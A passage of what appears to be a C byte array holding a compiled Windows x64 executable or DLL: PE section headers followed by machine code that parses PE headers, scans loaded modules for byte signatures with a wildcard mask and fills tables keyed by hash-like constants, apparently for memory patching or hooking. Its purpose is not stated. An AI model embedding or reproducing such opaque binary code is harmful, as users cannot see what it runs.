x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x60,0x2E,0x64,0x61,0x74,0x61,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x02,0x00,0x00,0x00,0xE8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0,0x2E,0x72,0x64,0x61,0x74,0x61,0x00,0x00,0xB0,0x14,0x00,0x00,0x00,0x10,0x01,0x00,0x00,0x16,0x00,0x00,0x00,0xEA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2E,0x70,0x64,0x61,0x74,0x61,0x00,0x00,0x70,0x0B,0x00,0x00,0x00,0x30,0x01,0x00,0x00,0x0C,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2E,0x78,0x64,0x61,0x74,0x61,0x00,0x00,0x38,0x09,0x00,0x00,0x00,0x40,0x01,0x00,0x00,0x0A,0x00,0x00,0x00,0x0C,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2E,0x62,0x73,0x73,0x00,0x00,0x00,0x00,0x90,0x23,0x00,0x00,0x00,0x50,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0xC0,0x2E,0x65,0x64,0x61,0x74,0x61,0x00,0x00,0xAE,0x01,0x00,0x00,0x00,0x80,0x01,0x00,0x00,0x02,0x00,0x00,0x00,0x16,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2E,0x69,0x64,0x61,0x74,0x61,0x00,0x00,0x2C,0x07,0x00,0x00,0x00,0x90,0x01,0x00,0x00,0x08,0x00,0x00,0x00,0x18,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0,0x2E,0x43,0x52,0x54,0x00,0x00,0x00,0x00,0x58,0x00,0x00,0x00,0x00,0xA0,0x01,0x00,0x00,0x02,0x00,0x00,0x00,0x20,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0,0x2E,0x74,0x6C,0x73,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0xB0,0x01,0x00,0x00,0x02,0x00,0x00,0x00,0x22,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0,0x2E,0x72,0x65,0x6C,0x6F,0x63,0x00,0x00,0x68,0x00,0x00,0x00,0x00,0xC0,0x01,0x00,0x00,0x02,0x00,0x00,0x00,0x24,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x42,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x0D,0xF9,0x3F,0x01,0x00,0xE9,0x34,0xDE,0x00,0x00,0x0F,0x1F,0x40,0x00,0x55,0x41,0x56,0x41,0x55,0x41,0x54,0x57,0x56,0x53,0x48,0x83,0xEC,0x20,0x48,0x8D,0x6C,0x24,0x20,0x48,0x89,0xCF,0x4D,0x89,0xC4,0x85,0xD2,0x0F,0x85,0x7F,0x00,0x00,0x00,0x8B,0x05,0xE1,0x3F,0x01,0x00,0x85,0xC0,0x7E,0x5E,0x83,0xE8,0x01,0x48,0x8B,0x1D,0x8B,0x0F,0x01,0x00,0x45,0x31,0xE4,0xBF,0x01,0x00,0x00,0x00,0x89,0x05,0xC5,0x3F,0x01,0x00,0x4C,0x8B,0x2D,0x06,0x82,0x01,0x00,0xEB,0x0C,0x0F,0x1F,0x40,0x00,0xB9,0xE8,0x03,0x00,0x00,0x41,0xFF,0xD5,0x4C,0x89,0xE0,0xF0,0x48,0x0F,0xB1,0x3B,0x48,0x89,0xC6,0x48,0x85,0xC0,0x75,0xE8,0x48,0x8B,0x3D,0x61,0x0F,0x01,0x00,0x8B,0x07,0x83,0xF8,0x02,0x0F,0x84,0xC6,0x00,0x00,0x00,0xB9,0x1F,0x00,0x00,0x00,0xE8,0x24,0xDF,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x89,0xD0,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5F,0x41,0x5C,0x41,0x5D,0x41,0x5E,0x5D,0xC3,0x66,0x0F,0x1F,0x44,0x00,0x00,0x83,0xFA,0x01,0x75,0xDF,0x65,0x48,0x8B,0x04,0x25,0x30,0x00,0x00,0x00,0x48,0x8B,0x1D,0x0B,0x0F,0x01,0x00,0x48,0x8B,0x70,0x08,0x45,0x31,0xED,0x4C,0x8B,0x35,0x8D,0x81,0x01,0x00,0xEB,0x14,0x0F,0x1F,0x00,0x48,0x39,0xC6,0x0F,0x84,0x8F,0x00,0x00,0x00,0xB9,0xE8,0x03,0x00,0x00,0x41,0xFF,0xD6,0x4C,0x89,0xE8,0xF0,0x48,0x0F,0xB1,0x33,0x48,0x85,0xC0,0x75,0xE2,0x45,0x31,0xED,0x48,0x8B,0x35,0xE0,0x0E,0x01,0x00,0x8B,0x06,0x83,0xF8,0x01,0x0F,0x84,0xC5,0x00,0x00,0x00,0x8B,0x06,0x85,0xC0,0x74,0x7F,0x8B,0x06,0x83,0xF8,0x01,0x0F,0x84,0x94,0x00,0x00,0x00,0x45,0x85,0xED,0x74,0x5F,0x48,0x8B,0x05,0x68,0x0E,0x01,0x00,0x48,0x8B,0x00,0x48,0x85,0xC0,0x74,0x0D,0x4D,0x89,0xE0,0xBA,0x02,0x00,0x00,0x00,0x48,0x89,0xF9,0xFF,0xD0,0x83,0x05,0xD4,0x3E,0x01,0x00,0x01,0xBA,0x01,0x00,0x00,0x00,0xE9,0x4B,0xFF,0xFF,0xFF,0x66,0x90,0x48,0x8D,0x0D,0xA9,0x3E,0x01,0x00,0xE8,0xE4,0xDD,0x00,0x00,0xC7,0x07,0x00,0x00,0x00,0x00,0x48,0x87,0x33,0xE9,0x2A,0xFF,0xFF,0xFF,0x66,0x0F,0x1F,0x44,0x00,0x00,0x41,0xBD,0x01,0x00,0x00,0x00,0xEB,0x81,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x31,0xC0,0x48,0x87,0x03,0xEB,0x9A,0x66,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x15,0x89,0x0E,0x01,0x00,0x48,0x8B,0x0D,0x72,0x0E,0x01,0x00,0xC7,0x06,0x01,0x00,0x00,0x00,0xE8,0x17,0xDE,0x00,0x00,0xE9,0x63,0xFF,0xFF,0xFF,0x66,0x90,0x48,0x8B,0x15,0x49,0x0E,0x01,0x00,0x48,0x8B,0x0D,0x32,0x0E,0x01,0x00,0xE8,0xFD,0xDD,0x00,0x00,0xC7,0x06,0x02,0x00,0x00,0x00,0xE9,0x4E,0xFF,0xFF,0xFF,0x66,0x90,0xB9,0x1F,0x00,0x00,0x00,0xE8,0xDE,0xDD,0x00,0x00,0xE9,0x32,0xFF,0xFF,0xFF,0x90,0x55,0x41,0x55,0x41,0x54,0x57,0x56,0x53,0x48,0x83,0xEC,0x28,0x48,0x8D,0x6C,0x24,0x20,0x4C,0x8B,0x25,0xC8,0x0D,0x01,0x00,0x48,0x89,0xCE,0x41,0x89,0x14,0x24,0x89,0xD3,0x4C,0x89,0xC7,0x85,0xD2,0x75,0x60,0x8B,0x05,0x0A,0x3E,0x01,0x00,0x85,0xC0,0x74,0x36,0xE8,0x09,0xD0,0x00,0x00,0x49,0x89,0xF8,0x31,0xD2,0x48,0x89,0xF1,0xE8,0xBA,0xCB,0x00,0x00,0x49,0x89,0xF8,0x89,0xDA,0x48,0x89,0xF1,0xE8,0x3F,0xDA,0x00,0x00,0x49,0x89,0xF8,0x89,0xDA,0x48,0x89,0xF1,0x41,0x89,0xC5,0xE8,0xCF,0xFD,0xFF,0xFF,0x85,0xC0,0x75,0x06,0x0F,0x1F,0x00,0x45,0x31,0xED,0x44,0x89,0xE8,0x41,0xC7,0x04,0x24,0xFF,0xFF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x5B,0x5E,0x5F,0x41,0x5C,0x41,0x5D,0x5D,0xC3,0x0F,0x1F,0x44,0x00,0x00,0xE8,0xB3,0xCF,0x00,0x00,0x8D,0x43,0xFF,0x49,0x89,0xF8,0x89,0xDA,0x48,0x89,0xF1,0x83,0xF8,0x01,0x77,0x3B,0xE8,0x8E,0xFD,0xFF,0xFF,0x85,0xC0,0x74,0xC2,0x49,0x89,0xF8,0x89,0xDA,0x48,0x89,0xF1,0xE8,0xDD,0xD9,0x00,0x00,0x85,0xC0,0x74,0x39,0x83,0xFB,0x01,0x74,0x54,0x49,0x89,0xF8,0xBA,0x02,0x00,0x00,0x00,0x48,0x89,0xF1,0xE8,0x32,0xCB,0x00,0x00,0x41,0x89,0xC5,0xEB,0x9A,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0xE8,0x21,0xCB,0x00,0x00,0x41,0x89,0xC5,0x83,0xFB,0x03,0x75,0x86,0xE9,0x5A,0xFF,0xFF,0xFF,0x66,0x0F,0x1F,0x44,0x00,0x00,0x83,0xFB,0x01,0x0F,0x85,0x6F,0xFF,0xFF,0xFF,0x49,0x89,0xF8,0x31,0xD2,0x48,0x89,0xF1,0xE8,0x2A,0xFD,0xFF,0xFF,0xE9,0x5D,0xFF,0xFF,0xFF,0x0F,0x1F,0x44,0x00,0x00,0xE8,0x5B,0xCC,0x00,0x00,0x49,0x89,0xF8,0xBA,0x01,0x00,0x00,0x00,0x48,0x89,0xF1,0xE8,0xD9,0xCA,0x00,0x00,0x41,0x89,0xC5,0x85,0xC0,0x0F,0x85,0x3B,0xFF,0xFF,0xFF,0x49,0x89,0xF8,0x31,0xD2,0x48,0x89,0xF1,0xE8,0xC1,0xCA,0x00,0x00,0x49,0x89,0xF8,0x31,0xD2,0x48,0x89,0xF1,0xE8,0x46,0xD9,0x00,0x00,0x49,0x89,0xF8,0x31,0xD2,0x48,0x89,0xF1,0xE8,0xD9,0xFC,0xFF,0xFF,0xE9,0x0F,0xFF,0xFF,0xFF,0x0F,0x1F,0x40,0x00,0x48,0x8B,0x05,0x69,0x0C,0x01,0x00,0xC7,0x00,0x00,0x00,0x00,0x00,0xE9,0x8E,0xFE,0xFF,0xFF,0x66,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x0F,0x1F,0x00,0x48,0x89,0xCA,0x48,0x8D,0x0D,0x96,0x3C,0x01,0x00,0xE9,0xF1,0xDA,0x00,0x00,0x90,0x48,0x8D,0x0D,0x09,0x00,0x00,0x00,0xE9,0xE4,0xFF,0xFF,0xFF,0x0F,0x1F,0x40,0x00,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x10,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x48,0x83,0x7D,0x18,0x00,0x75,0x06,0x48,0x8B,0x45,0x18,0xEB,0x3E,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x28,0x48,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x20,0x48,0x01,0xD0,0x48,0x89,0x45,0xF8,0x48,0x8B,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x18,0x48,0x89,0xC1,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x20,0x48,0x01,0xC8,0x48,0x29,0xC2,0x48,0x8B,0x45,0xF8,0x48,0x01,0xD0,0x48,0x83,0xC4,0x10,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x38,0x48,0x8D,0x6C,0x24,0x30,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0x44,0x89,0x45,0x30,0x4C,0x89,0x4D,0x38,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x20,0x41,0xB8,0x60,0x07,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xFE,0xDB,0x00,0x00,0x48,0x8B,0x45,0x28,0xBA,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x75,0xD8,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x45,0x20,0x48,0x8B,0x55,0x28,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x37,0xDC,0x00,0x00,0x48,0x8B,0x45,0x28,0xBA,0x5C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x2E,0xDC,0x00,0x00,0x48,0x85,0xC0,0x74,0x40,0x48,0x8B,0x45,0x28,0xBA,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x38,0xD8,0x00,0x00,0x48,0x89,0xC3,0x48,0x8B,0x45,0x28,0xBA,0x5C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x04,0xDC,0x00,0x00,0x48,0x8D,0x50,0x02,0x48,0x8B,0x45,0x20,0x48,0x05,0x08,0x02,0x00,0x00,0x49,0x89,0xD8,0x48,0x89,0xC1,0xE8,0xE3,0xDB,0x00,0x00,0xEB,0x2E,0x48,0x8B,0x45,0x28,0xBA,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF8,0xD7,0x00,0x00,0x48,0x89,0xC2,0x48,0x8B,0x45,0x20,0x48,0x8D,0x88,0x08,0x02,0x00,0x00,0x48,0x8B,0x45,0x28,0x49,0x89,0xD0,0x48,0x89,0xC2,0xE8,0xB3,0xDB,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xEB,0x3A,0x48,0x8B,0x45,0x20,0x8B,0x55,0xFC,0x48,0x63,0xD2,0x48,0x81,0xC2,0x00,0x01,0x00,0x00,0x0F,0xB7,0x44,0x50,0x08,0x66,0x83,0xF8,0x2E,0x75,0x1A,0x48,0x8B,0x45,0x20,0x8B,0x55,0xFC,0x48,0x63,0xD2,0x48,0x81,0xC2,0x00,0x01,0x00,0x00,0x66,0xC7,0x44,0x50,0x08,0x00,0x00,0xEB,0x0D,0x83,0x45,0xFC,0x01,0x81,0x7D,0xFC,0x03,0x01,0x00,0x00,0x7E,0xBD,0x48,0x8B,0x45,0x20,0x8B,0x55,0x30,0x89,0x90,0x10,0x04,0x00,0x00,0x48,0x83,0x7D,0x38,0x00,0x74,0x1D,0x48,0x8B,0x45,0x20,0x48,0x8D,0x88,0x14,0x04,0x00,0x00,0x48,0x8B,0x45,0x38,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x89,0xC2,0xE8,0x0E,0xDB,0x00,0x00,0x48,0x8B,0x45,0x20,0x8B,0x55,0x50,0x89,0x90,0x18,0x05,0x00,0x00,0x48,0x8B,0x45,0x20,0xC7,0x80,0x1C,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x20,0xC7,0x80,0x20,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x20,0x48,0xC7,0x80,0x28,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x20,0xC7,0x80,0x30,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x20,0xC7,0x80,0x34,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x20,0xC7,0x80,0x38,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0x40,0x00,0x74,0x55,0x48,0x83,0x7D,0x48,0x00,0x74,0x4E,0x48,0x8B,0x45,0x40,0xBA,0xFF,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xAD,0xD6,0x00,0x00,0x89,0x45,0xF8,0x8B,0x55,0xF8,0x48,0x8B,0x45,0x20,0x48,0x8D,0x88,0x40,0x05,0x00,0x00,0x48,0x8B,0x45,0x40,0x49,0x89,0xD0,0x48,0x89,0xC2,0xE8,0x2D,0xDA,0x00,0x00,0x8B,0x55,0xF8,0x48,0x8B,0x45,0x20,0x48,0x8D,0x88,0x40,0x06,0x00,0x00,0x48,0x8B,0x45,0x48,0x49,0x89,0xD0,0x48,0x89,0xC2,0xE8,0x10,0xDA,0x00,0x00,0x48,0x8B,0x45,0x20,0xC7,0x80,0x40,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x20,0xC7,0x80,0x54,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x20,0xC7,0x80,0x58,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x90,0x48,0x83,0xC4,0x38,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0xEB,0x33,0x48,0x8B,0x45,0x20,0x0F,0xB6,0x00,0x3C,0x78,0x75,0x19,0x48,0x8B,0x45,0x10,0x0F,0xB6,0x10,0x48,0x8B,0x45,0x18,0x0F,0xB6,0x00,0x38,0xC2,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x1F,0x48,0x83,0x45,0x20,0x01,0x48,0x83,0x45,0x10,0x01,0x48,0x83,0x45,0x18,0x01,0x48,0x8B,0x45,0x20,0x0F,0xB6,0x00,0x84,0xC0,0x75,0xC2,0xB8,0x01,0x00,0x00,0x00,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0x4C,0x89,0x4D,0x28,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xEB,0x3F,0x8B,0x55,0xFC,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xF0,0x48,0x8B,0x4D,0x28,0x48,0x8B,0x55,0x20,0x48,0x8B,0x45,0xF0,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x5C,0xFF,0xFF,0xFF,0x85,0xC0,0x74,0x12,0x48,0x8B,0x45,0x30,0x48,0x8B,0x55,0xF0,0x48,0x89,0x10,0xB8,0x01,0x00,0x00,0x00,0xEB,0x11,0x83,0x45,0xFC,0x01,0x8B,0x45,0xFC,0x3B,0x45,0x18,0x72,0xB9,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x50,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x8D,0x50,0x01,0x89,0x55,0xFC,0x89,0xC0,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0xC7,0x44,0x24,0x30,0x07,0x00,0x00,0x00,0x48,0x8D,0x15,0xE2,0xF8,0x00,0x00,0x48,0x89,0x54,0x24,0x28,0x48,0x8D,0x15,0xDA,0xF8,0x00,0x00,0x48,0x89,0x54,0x24,0x20,0x4C,0x8D,0x0D,0x96,0xF8,0x00,0x00,0x41,0xB8,0x26,0xD4,0x95,0xF4,0x48,0x8D,0x15,0x9F,0xF8,0x00,0x00,0x48,0x89,0xC1,0xE8,0x72,0xFC,0xFF,0xFF,0x8B,0x45,0xFC,0x8D,0x50,0x01,0x89,0x55,0xFC,0x89,0xC0,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0xC7,0x44,0x24,0x30,0x09,0x00,0x00,0x00,0x48,0x8D,0x15,0xC3,0xF8,0x00,0x00,0x48,0x89,0x54,0x24,0x28,0x48,0x8D,0x15,0xC2,0xF8,0x00,0x00,0x48,0x89,0x54,0x24,0x20,0x4C,0x8D,0x0D,0x7D,0xF8,0x00,0x00,0x41,0xB8,0xBC,0x8F,0x3E,0xA6,0x48,0x8D,0x15,0x84,0xF8,0x00,0x00,0x48,0x89,0xC1,0xE8,0x1D,0xFC,0xFF,0xFF,0x8B,0x45,0xFC,0x8D,0x50,0x01,0x89,0x55,0xFC,0x89,0xC0,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0xC7,0x44,0x24,0x30,0x06,0x00,0x00,0x00,0x48,0x8D,0x15,0xAC,0xF8,0x00,0x00,0x48,0x89,0x54,0x24,0x28,0x48,0x8D,0x15,0xA2,0xF8,0x00,0x00,0x48,0x89,0x54,0x24,0x20,0x4C,0x8D,0x0D,0x6C,0xF8,0x00,0x00,0x41,0xB8,0x87,0x5A,0x1C,0x55,0x48,0x8D,0x15,0x73,0xF8,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC8,0xFB,0xFF,0xFF,0x48,0x8B,0x45,0x18,0x8B,0x55,0xFC,0x89,0x10,0x90,0x48,0x83,0xC4,0x50,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x50,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x8D,0x50,0x01,0x89,0x55,0xFC,0x89,0xC0,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0xC7,0x44,0x24,0x30,0x09,0x00,0x00,0x00,0x48,0x8D,0x15,0xF2,0xF7,0x00,0x00,0x48,0x89,0x54,0x24,0x28,0x48,0x8D,0x15,0xF1,0xF7,0x00,0x00,0x48,0x89,0x54,0x24,0x20,0x4C,0x8D,0x0D,0xAC,0xF7,0x00,0x00,0x41,0xB8,0xBC,0x8F,0x3E,0xA6,0x48,0x8D,0x15,0xB3,0xF7,0x00,0x00,0x48,0x89,0xC1,0xE8,0x4C,0xFB,0xFF,0xFF,0x8B,0x45,0xFC,0x8D,0x50,0x01,0x89,0x55,0xFC,0x89,0xC0,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0xC7,0x44,0x24,0x30,0x06,0x00,0x00,0x00,0x48,0x8D,0x15,0xDB,0xF7,0x00,0x00,0x48,0x89,0x54,0x24,0x28,0x48,0x8D,0x15,0xD1,0xF7,0x00,0x00,0x48,0x89,0x54,0x24,0x20,0x4C,0x8D,0x0D,0x9B,0xF7,0x00,0x00,0x41,0xB8,0x87,0x5A,0x1C,0x55,0x48,0x8D,0x15,0xA2,0xF7,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF7,0xFA,0xFF,0xFF,0x48,0x8B,0x45,0x18,0x8B,0x55,0xFC,0x89,0x10,0x90,0x48,0x83,0xC4,0x50,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x8B,0x40,0x3C,0x48,0x63,0xD0,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x48,0x83,0xC0,0x18,0x48,0x89,0xC2,0x48,0x8B,0x45,0xE8,0x0F,0xB7,0x40,0x14,0x0F,0xB7,0xC0,0x48,0x01,0xD0,0x48,0x89,0x45,0xE0,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xE9,0x93,0x00,0x00,0x00,0x8B,0x55,0xF8,0x48,0x89,0xD0,0x48,0xC1,0xE0,0x02,0x48,0x01,0xD0,0x48,0xC1,0xE0,0x03,0x48,0x89,0xC2,0x48,0x8B,0x45,0xE0,0x48,0x01,0xD0,0x48,0x89,0xC2,0x48,0x8D,0x05,0x04,0xF7,0x00,0x00,0x48,0x89,0xC1,0xE8,0x98,0xD6,0x00,0x00,0x85,0xC0,0x75,0x5E,0x8B,0x55,0xF8,0x48,0x89,0xD0,0x48,0xC1,0xE0,0x02,0x48,0x01,0xD0,0x48,0xC1,0xE0,0x03,0x48,0x89,0xC2,0x48,0x8B,0x45,0xE0,0x48,0x01,0xD0,0x8B,0x40,0x0C,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0xC2,0x48,0x8B,0x45,0x18,0x48,0x89,0x10,0x8B,0x55,0xF8,0x48,0x89,0xD0,0x48,0xC1,0xE0,0x02,0x48,0x01,0xD0,0x48,0xC1,0xE0,0x03,0x48,0x89,0xC2,0x48,0x8B,0x45,0xE0,0x48,0x01,0xD0,0x8B,0x50,0x10,0x48,0x8B,0x45,0x20,0x89,0x10,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x18,0x83,0x45,0xF8,0x01,0x48,0x8B,0x45,0xE8,0x0F,0xB7,0x40,0x06,0x0F,0xB7,0xC0,0x39,0x45,0xF8,0x0F,0x82,0x59,0xFF,0xFF,0xFF,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x70,0x48,0x89,0x4D,0x10,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0xBA,0x01,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x09,0x4F,0x00,0x00,0x48,0x89,0x45,0xE0,0x48,0x83,0x7D,0xE0,0x00,0x0F,0x84,0x3C,0x02,0x00,0x00,0x48,0x8D,0x4D,0xCC,0x48,0x8D,0x55,0xD0,0x48,0x8B,0x45,0xE0,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x58,0xFE,0xFF,0xFF,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0x1B,0x02,0x00,0x00,0x48,0x8B,0x55,0xD0,0x48,0x8B,0x45,0x10,0x48,0x89,0x90,0x28,0x05,0x00,0x00,0x48,0x8B,0x45,0x10,0x0F,0xB6,0x80,0x14,0x04,0x00,0x00,0x84,0xC0,0x75,0x12,0x48,0x8B,0x45,0x10,0x8B,0x80,0x10,0x04,0x00,0x00,0x85,0xC0,0x0F,0x84,0x84,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x0F,0xB6,0x80,0x14,0x04,0x00,0x00,0x84,0xC0,0x74,0x2C,0x48,0x8B,0x45,0x10,0x48,0x05,0x14,0x04,0x00,0x00,0x48,0x89,0xC1,0xE8,0x3C,0x85,0x00,0x00,0x89,0xC2,0x48,0x8B,0x45,0xE0,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x92,0x4C,0x00,0x00,0x48,0x89,0x45,0xF0,0xEB,0x20,0x48,0x8B,0x45,0x10,0x8B,0x90,0x10,0x04,0x00,0x00,0x48,0x8B,0x45,0